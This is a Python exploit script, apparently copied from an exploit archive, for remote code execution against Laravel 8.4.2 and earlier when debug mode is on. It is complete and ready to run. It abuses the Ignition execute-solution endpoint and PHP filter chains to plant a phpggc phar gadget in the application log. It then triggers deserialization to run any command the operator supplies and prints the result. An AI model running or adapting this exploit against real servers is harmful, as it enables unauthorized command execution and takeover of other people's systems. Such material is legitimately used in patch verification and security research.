125 lines
No EOL
4 KiB
Python
Executable file
125 lines
No EOL
4 KiB
Python
Executable file
# Exploit Title: Laravel 8.4.2 debug mode - Remote code execution
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# Date: 1.14.2021
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# Exploit Author: SunCSR Team
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# Vendor Homepage: https://laravel.com/
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# References:
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# https://www.ambionics.io/blog/laravel-debug-rce
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# https://viblo.asia/p/6J3ZgN8PKmB
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# Version: <= 8.4.2
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# Tested on: Ubuntu 18.04 + nginx + php 7.4.3
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# Github POC: https://github.com/khanhnv-2091/laravel-8.4.2-rce
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#!/usr/bin/env python3
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import requests, sys, re, os
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header={
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"Accept": "application/json"
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}
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data = {
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"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",\
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"parameters":{
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"variableName":"cm0s",
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"viewFile":""
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}
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}
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def clear_log(url='', viewFile=''):
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global data
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data['parameters']['viewFile'] = viewFile
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while (requests.post(url=url, json=data, headers=header, verify=False).status_code != 200): pass
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requests.post(url=url, json=data, headers=header, verify=False)
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requests.post(url=url, json=data, headers=header, verify=False)
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def create_payload(url='', viewFile=''):
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global data
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data['parameters']['viewFile'] = viewFile
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resp = requests.post(url=url, json=data, headers=header, verify=False)
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if resp.status_code == 500 and f'file_get_contents({viewFile})' in resp.text:
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return True
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return False
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def convert(url='', viewFile=''):
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global data
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data['parameters']['viewFile'] = viewFile
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resp = requests.post(url=url, json=data, headers=header, verify=False)
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if resp.status_code == 200:
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return True
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return False
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def exploited(url='', viewFile=''):
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global data
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data['parameters']['viewFile'] = viewFile
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resp = requests.post(url=url, json=data, headers=header, verify=False)
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if resp.status_code == 500 and 'cannot be empty' in resp.text:
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m = re.findall(r'\{(.|\n)+\}((.|\n)*)', resp.text)
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print()
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print(m[0][1])
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def generate_payload(command='', padding=0):
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if '/' in command:
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command = command.replace('/', '\/')
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command = command.replace('\'', '\\\'')
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os.system(r'''php -d'phar.readonly=0' ./phpggc/phpggc monolog/rce1 system '%s' --phar phar -o php://output | base64 -w0 | sed -E 's/./\0=00/g' > payload.txt'''%(command))
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payload = ''
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with open('payload.txt', 'r') as fp:
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payload = fp.read()
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payload = payload.replace('==', '=3D=')
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for i in range(padding):
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payload += '=00'
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os.system('rm -rf payload.txt')
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return payload
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def main():
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if len(sys.argv) < 4:
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print('Usage: %s url path-log command\n'%(sys.argv[0]))
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print('\tEx: %s http(s)://pwnme.me:8000 /var/www/html/laravel/storage/logs/laravel.log \'id\''%(sys.argv[0]))
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exit(1)
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if not os.path.isfile('./phpggc/phpggc'):
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print('Phpggc not found!')
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print('Run command: git clone https://github.com/ambionics/phpggc.git')
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os.system('git clone https://github.com/ambionics/phpggc.git')
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url = sys.argv[1]
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path_log = sys.argv[2]
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command = sys.argv[3]
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padding = 0
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payload = generate_payload(command, padding)
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if not payload:
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print('Generate payload error!')
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exit(1)
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if 'http' not in url and 'https' not in url:
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url = 'http'+url
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else:
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url = url+'/_ignition/execute-solution'
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print('\nExploit...')
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clear_log(url, 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s'%(path_log))
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create_payload(url, 'AA')
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create_payload(url, payload)
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while (not convert(url, 'php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=%s'%(path_log))):
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clear_log(url, 'php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s'%(path_log))
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create_payload(url, 'AA')
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padding += 1
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payload = generate_payload(command, padding)
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create_payload(url, payload)
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exploited(url, 'phar://%s'%(path_log))
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if __name__ == '__main__':
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main() |